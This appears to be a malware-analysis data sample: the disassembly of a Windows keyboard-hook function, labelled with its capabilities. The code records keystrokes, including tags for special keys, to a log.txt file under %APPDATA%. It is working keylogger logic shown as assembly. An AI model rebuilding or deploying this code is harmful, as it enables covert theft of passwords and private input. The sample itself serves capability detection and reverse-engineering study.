Function at 0x14000158c
Capabilities:
Log keystrokes via polling
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x270
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x200], ecx
mov qword [rbp + 0x208], rdx
mov qword [rbp + 0x210], r8
mov ecx, 0x14
mov rax, qword [sym.imp.USER32.dll_GetKeyState]
call rax
mov word [rbp + 0x1ee], ax
cmp word [rbp + 0x1ee], 0
jns 0x1400015d8
mov byte [0x140008038], 1
jmp 0x1400015df
mov byte [0x140008038], 0
cmp dword [rbp + 0x200], 0
js 0x140001ac2
cmp qword [rbp + 0x208], 0x100
je 0x14000160a
cmp qword [rbp + 0x208], 0x104
jne 0x140001ac2
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 8
je 0x14000167e
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0xd
je 0x14000167e
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 9
je 0x14000167e
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x11
je 0x14000167e
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x2e
je 0x14000167e
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x14
je 0x14000167e
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x12
jne 0x140001755
lea rax, [0x140005090]
mov rdx, rax
lea rax, [0x140005092]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1c0], rax
cmp qword [rbp + 0x1c0], 0
je 0x140001ac1
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 8
je 0x14000171f
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0xd
je 0x140001716
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 9
je 0x14000170d
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x11
je 0x140001704
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x2e
jne 0x1400016fb
lea rax, str._Delete_
jmp 0x140001726
lea rax, str._Unknown_
jmp 0x140001726
lea rax, str._Control_
jmp 0x140001726
lea rax, str._Tab_
jmp 0x140001726
lea rax, str._Enter__n
jmp 0x140001726
lea rax, str._Backspace_
mov rdx, qword [rbp + 0x1c0]
mov rcx, rax
call sym.fputs
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x14
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call sym.fclose
jmp 0x140001ac1
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetKeyboardState]
call rax
mov rax, qword [rbp + 0x1e0]
mov edx, dword [rax + 4]
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
lea r8, [rbp + 0x1bf]
lea rcx, [rbp - 0x50]
mov dword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_ToAscii]
call rax
mov dword [rbp + 0x1dc], eax
cmp dword [rbp + 0x1dc], 1
jne 0x140001ac2
mov ecx, 0x10
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
test ax, ax
jns 0x1400017cb
mov byte [0x140008039], 1
jmp 0x1400017d2
mov byte [0x140008039], 0
movzx eax, byte [0x140008039]
test al, al
je case.0x140001827.193
mov rax, qword [rbp + 0x1e0]
mov eax, dword [rax]
cmp eax, 0x39
ja 0x140001857
cmp eax, 0x30
jae 0x140001829
jmp case.0x140001827.193
sub eax, 0xba
cmp eax, 0x24
ja case.0x140001827.193
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x140005100]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x140005100]
add rax, rdx
jmp rax
sub eax, 0x30
cmp eax, 9
ja case.0x140001827.193
mov eax, eax
lea rdx, [rax*4]
lea rax, [0x140005194]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x140005194]
add rax, rdx
jmp rax
cmp eax, 0xde
ja case.0x140001827.193
cmp eax, 0xba
jae 0x1400017f9
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x2b
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x5f
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x7b
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x7d
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x7c
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x3e
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x3c
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x3f
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x29
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x21
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x40
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x23
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x24
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x25
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x5e
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x26
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x2a
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x28
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x7e
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x3a
jmp case.0x140001827.193
mov byte [rbp + 0x1bf], 0x22
nop
lea rax, [rbp + 0xb0]
mov r8d, 0x104
mov rdx, rax
lea rax, str.APPDATA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
call rax
test eax, eax
je 0x140001982
lea rax, [rbp + 0xb0]
lea r8, str.log.txt
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
call rax
mov qword [rbp + 0x1d0], 0
lea rax, [0x140005090]
mov rdx, rax
lea rax, [0x140005092]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
je 0x140001ac2
movzx eax, byte [0x140008039]
test al, al
jne 0x1400019d1
movzx eax, byte [0x140008038]
test al, al
je 0x140001a17
movzx eax, byte [rbp + 0x1bf]
movsx eax, al
mov ecx, eax
mov rax, qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_toupper]
call rax
mov ecx, eax
mov rax, qword [rbp + 0x1c8]
mov rdx, rax
call sym.fputc
mov eax, dword [section..data]
sub eax, 1
mov dword [section..data], eax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.fclose
jmp 0x140001a4d
movzx eax, byte [rbp + 0x1bf]
movsx eax, al
mov rdx, qword [rbp + 0x1c8]
mov ecx, eax
call sym.fputc
mov eax, dword [section..data]
sub eax, 1
mov dword [section..data], eax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
call sym.fclose
mov eax, dword [section..data]
cmp eax, 1
jg 0x140001ac2
lea rax, [0x140005090]
mov rdx, rax
lea rax, [0x140005092]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x1d0], rax
cmp qword [rbp + 0x1d0], 0
je 0x140001ac2
mov rax, qword [rbp + 0x1d0]
mov r9, rax
mov r8d, 0x14
mov edx, 1
lea rax, str._CHAR_LIMIT_REACHED_
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
call sym.fclose
mov dword [section..data], 0x9c4
jmp 0x140001ac2
nop
mov rax, qword [0x140008030]
mov r8, qword [rbp + 0x210]
mov rcx, qword [rbp + 0x208]
mov edx, dword [rbp + 0x200]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CallNextHookEx]
call rax
add rsp, 0x270
pop rbp
ret